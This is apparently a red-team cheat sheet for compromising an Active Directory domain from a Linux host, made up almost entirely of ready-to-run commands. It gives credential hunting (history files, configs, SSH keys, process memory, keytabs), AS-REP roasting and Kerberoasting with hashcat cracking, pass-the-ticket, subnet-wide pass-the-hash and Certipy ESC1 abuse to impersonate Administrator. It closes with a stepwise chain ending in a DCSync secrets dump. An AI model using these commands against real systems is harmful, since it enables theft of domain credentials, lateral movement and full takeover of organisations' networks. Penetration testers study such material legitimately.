kinit -k -t /etc/krb5.keytab LINUXBOX$@CORP.LOCAL
klist                                 # Should show machine account ticket
KRB5CCNAME=/tmp/machine.ccache impacket-secretsdump -k -no-pass DC01.corp.local

# ==========================================
# KERBEROS CONSTRAINED DELEGATION (if set)
# ==========================================

# Check if machine has delegation configured
ldapsearch -H ldap://DC_IP -Y GSSAPI \
    -b "DC=corp,DC=local" \
    "(msDS-AllowedToDelegateTo=*)" \
    sAMAccountName msDS-AllowedToDelegateTo

# If machine has unconstrained delegation:
# → TGTs of connecting users are stored in memory → can be extracted!
# Dump with: impacket-secretsdump or mimikatz-equivalent

# ==========================================
# WINBIND ENUMERATION
# ==========================================

# If winbind is configured
wbinfo --all-domains                  # All trusted domains
wbinfo -D corp.local                  # Domain info
wbinfo -u                             # All domain users
wbinfo -g                             # All domain groups
wbinfo -t                             # Test DC connection
wbinfo -a "CORP\username"             # Test auth

# ==========================================
# NET COMMANDS (Samba)
# ==========================================

net ads info                           # AD server info
net ads lookup                         # DC SRV records
net ads user                           # AD users
net ads group                          # AD groups
net ads testjoin                       # Test domain join
net rpc group list -U username         # RPC group list
net rpc user list -U username          # RPC user list

# ==========================================
# SUDOERS / SSSD SUDO RULES
# ==========================================

# SSSD can push sudo rules from AD via LDAP
sudo -l                                # What can current user sudo?
cat /etc/sudoers
ls /etc/sudoers.d/

# SSSD sudo rules (from AD)
cat /etc/sssd/sssd.conf | grep -A10 "sudo"
# If sudo_provider = ldap → rules come from AD!

# ==========================================
# SERVICE ACCOUNTS / KEYTABS
# ==========================================

find / -name "*.keytab" 2>/dev/null
ls /etc/security/
ls /opt/ /srv/ /var/lib/ -la 2>/dev/null | grep keytab

# Common locations for service keytabs:
# /etc/krb5.keytab          (machine account)
# /etc/http.keytab          (web server)
# /etc/httpd/conf/krb5.keytab
# /var/lib/pgsql/data/krb5.keytab (PostgreSQL)
# /opt/app/app.keytab       (custom app)

# Use any keytab → get TGT → impersonate that service account!
kinit -k -t /etc/http.keytab HTTP/linuxbox.corp.local@CORP.LOCAL

# ==========================================
# COMMON CREDENTIAL LOCATIONS
# ==========================================

# Shell history files (gold mine!)
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.ash_history
cat /root/.bash_history
find / -name ".bash_history" 2>/dev/null -exec cat {} \;
find / -name ".*_history" 2>/dev/null

# Search history for passwords/creds
grep -i "pass\|password\|cred\|secret\|key\|token" ~/.bash_history

# Config files
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" 2>/dev/null | \
    xargs grep -il "password\|passwd\|secret\|key" 2>/dev/null

# Database config files
find / -name "wp-config.php" -o -name "database.yml" \
    -o -name "settings.py" -o -name ".env" 2>/dev/null 2>/dev/null

# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" \
    -o -name "*.key" 2>/dev/null

# Keepass / password manager files
find / -name "*.kdbx" -o -name "*.kdb" -o -name "*.1pif" 2>/dev/null

# ==========================================
# SSSD / WINBIND CREDENTIAL FILES
# ==========================================

cat /etc/sssd/sssd.conf                # May contain ldap_default_authtok!
cat /etc/samba/smb.conf
cat /etc/winbind/krb5.conf
cat /var/lib/sss/db/config.ldb 2>/dev/null
strings /var/lib/sss/db/cache_*.ldb 2>/dev/null | grep -i "password\|hash"

# ==========================================
# LDAP CONFIGS (often contain bind creds)
# ==========================================

cat /etc/ldap/ldap.conf
cat /etc/openldap/ldap.conf
find / -name "ldap.conf" 2>/dev/null -exec cat {} \;
find / -name "*.ldif" 2>/dev/null

# ==========================================
# DOCKER / KUBERNETES
# ==========================================

cat ~/.docker/config.json             # Docker registry credentials
find / -name "docker-compose.yml" 2>/dev/null | \
    xargs grep -i "password\|secret\|key" 2>/dev/null
find / -name "*.kubeconfig" -o -name "kubeconfig" 2>/dev/null

# ==========================================
# ENVIRONMENT VARIABLES
# ==========================================

env | grep -i "pass\|secret\|key\|token\|cred"
cat /proc/*/environ 2>/dev/null | strings | grep -i "pass\|secret"

# ==========================================
# MEMORY DUMP (find creds in RAM)
# ==========================================

# Dump process memory (needs root / same user)
# → Look for domain creds in memory of SSH/SSSD/samba

# Strings from sshd memory
strings /proc/$(pgrep sshd)/mem 2>/dev/null | grep -i "password"

# procdump (using gcore)
gcore -o /tmp/sssd_dump $(pgrep sssd)
strings /tmp/sssd_dump* | grep -i "pass\|hash\|cred"

# ==========================================
# AS-REP ROASTING (No Kerberos Preauth Required)
# ==========================================

# No credentials needed — just user list!
impacket-GetNPUsers corp.local/ \
    -dc-ip DC_IP \
    -no-pass \
    -usersfile users.txt \
    -format hashcat \
    -outputfile asrep_hashes.txt

# With credentials (auto-finds vulnerable accounts)
impacket-GetNPUsers CORP/username:'Password123!' \
    -dc-ip DC_IP \
    -request \
    -format hashcat \
    -outputfile asrep_hashes.txt

# Via CME
crackmapexec ldap DC_IP -u username -p 'Password123!' --asreproast asrep_hashes.txt

# Via kerbrute
kerbrute userenum -d corp.local --dc DC_IP users.txt   # First find valid users

# Crack hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# ==========================================
# KERBEROASTING (Requires Domain User Cred)
# ==========================================

# Get TGS hashes for all SPNs
impacket-GetUserSPNs CORP/username:'Password123!' \
    -dc-ip DC_IP \
    -request \
    -outputfile kerb_hashes.txt

# With hash (PTH)
impacket-GetUserSPNs CORP/username \
    -hashes :<NT_HASH> \
    -dc-ip DC_IP \
    -request

# Via CME
crackmapexec ldap DC_IP -u username -p 'Password123!' --kerberoasting kerb_hashes.txt

# Via rubeus-equivalent (Invoke-Kerberoast in PS)
# On domain-joined Linux, use kinit first then GetUserSPNs with -k

# Crack TGS hashes
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
john --wordlist=/usr/share/wordlists/rockyou.txt kerb_hashes.txt --format=krb5tgs

# ==========================================
# PASS-THE-TICKET FROM LINUX
# ==========================================

# Export existing ticket to use with tools
export KRB5CCNAME=/tmp/krb5cc_1001

# Use ticket with Impacket
KRB5CCNAME=/tmp/krb5cc_1001 impacket-wmiexec -k -no-pass corp.local/username@DC01.corp.local
KRB5CCNAME=/tmp/krb5cc_1001 impacket-smbclient -k -no-pass DC01.corp.local

# Use ticket with CME
KRB5CCNAME=/tmp/krb5cc_1001 crackmapexec smb DC_IP -u username --use-kcache

# ==========================================
# CONVERT KIRBI → CCACHE (Windows → Linux)
# ==========================================

# If you steal .kirbi ticket from Windows
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

# ==========================================
# PASS-THE-HASH FROM LINUX
# ==========================================

# impacket tools (use -hashes LM:NT)
impacket-psexec CORP/username@HOST_IP -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
impacket-wmiexec CORP/username@HOST_IP -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
impacket-smbclient CORP/username@HOST_IP -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

# CME PTH
crackmapexec smb HOST_IP -u username -H <NT_HASH>
crackmapexec smb 10.10.10.0/24 -u username -H <NT_HASH>   # Spray entire subnet!

# ==========================================
# CERTIPY — AD Certificate Services Attack Tool
# ==========================================

# Install
pip3 install certipy-ad

# ==========================================
# FIND CERTIFICATE AUTHORITIES
# ==========================================

# Enumerate CA and templates
certipy find -u username@corp.local -p 'Password123!' -dc-ip DC_IP

# Save to BloodHound JSON
certipy find -u username@corp.local -p 'Password123!' -dc-ip DC_IP -bloodhound

# Find vulnerable templates only
certipy find -u username@corp.local -p 'Password123!' -dc-ip DC_IP -vulnerable

# With hash
certipy find -u username@corp.local -hashes :<NT_HASH> -dc-ip DC_IP -vulnerable

# ==========================================
# ESC1 — Misconfigured Certificate Templates
# ==========================================

# ESC1: Template allows SAN (Subject Alternative Name) + any user can enroll
# → Request cert AS any user (including DA!)

certipy req -u username@corp.local -p 'Password123!' \
    -dc-ip DC_IP \
    -ca CORP-CA \
    -template VulnerableTemplate \
    -upn administrator@corp.local    # Request cert FOR admin!

# ==========================================
# USE CERTIFICATE TO GET TGT
# ==========================================

# Got a .pfx certificate → use it to get TGT
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → Gets TGT + NT hash for Administrator!

# Now DCSync!
impacket-secretsdump -just-dc -k -no-pass corp.local/Administrator@DC01.corp.local

# ==========================================
# LDAP SHELL VIA CERTIPY
# ==========================================

certipy relay -ca CA_IP -template DomainController
# Works with NTLM relay to ADCS HTTP enrollment endpoint

STEP 1 — PASSIVE RECON (No Creds)  
─────────────────────────────────────────────────────────────────  
Find DC IP cat /etc/resolv.conf | grep nameserver  
Find Domain cat /etc/sssd/sssd.conf | grep domains  
DNS SRV dig SRV _ldap._tcp.dc._msdcs.corp.local @DC_IP  
Zone Transfer dig axfr corp.local @DC_IP  
Port scan DC nmap -sV -p 88,389,445,636,3268,5985 DC_IP

STEP 2 — USER ENUMERATION (No Creds)  
─────────────────────────────────────────────────────────────────  
Kerbrute kerbrute userenum -d corp.local --dc DC_IP users.txt  
RID Brute impacket-lookupsid anonymous@DC_IP  
RPC null rpcclient -U "" -N DC_IP → enumdomusers  
CME null crackmapexec smb DC_IP -u "" -p "" --users  
enum4linux enum4linux-ng DC_IP

STEP 3 — AUTHENTICATED ENUM  
─────────────────────────────────────────────────────────────────  
CME full crackmapexec smb DC_IP -u user -p 'Pass' --users --groups --sessions --pass-pol  
LDAP users ldapsearch -H ldap://DC_IP -D user@corp.local -w Pass -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName  
LDAP DA ldapsearch ... "(&(objectClass=group)(cn=Domain Admins))" member  
windapsearch python3 windapsearch.py -d corp.local -u user@corp.local -p Pass -U --da  
BloodHound bloodhound-python -u user -p Pass -d corp.local -ns DC_IP -c All --zip  
SMB shares smbmap -H DC_IP -u user -p Pass -d CORP -R SYSVOL  
GPP decrypt gpp-decrypt <cpassword> (found in SYSVOL *.xml)  
RPC enum rpcclient -U "user%Pass" DC_IP → enumdomusers, querydominfo

STEP 4 — KERBEROS ATTACKS  
─────────────────────────────────────────────────────────────────  
AS-REP Roast impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt -format hashcat  
Kerberoast impacket-GetUserSPNs CORP/user:Pass -dc-ip DC_IP -request  
Crack AS-REP hashcat -m 18200 hashes.txt rockyou.txt  
Crack TGS hashcat -m 13100 hashes.txt rockyou.txt  
Pass-the-Ticket export KRB5CCNAME=ticket.ccache → impacket tools with -k -no-pass  
Pass-the-Hash crackmapexec smb DC_IP -u user -H <NT_HASH>  
PTH Impacket impacket-psexec CORP/user@HOST -hashes aad3b435..:<NT_HASH>

STEP 5 — DUMP / PWNED  
─────────────────────────────────────────────────────────────────  
SecretsDump impacket-secretsdump CORP/Admin:Pass@DC_IP -just-dc  
DCSync (Kerb) KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass DC01.corp.local  
AD CS certipy find -u user@corp.local -p Pass -dc-ip DC_IP -vulnerable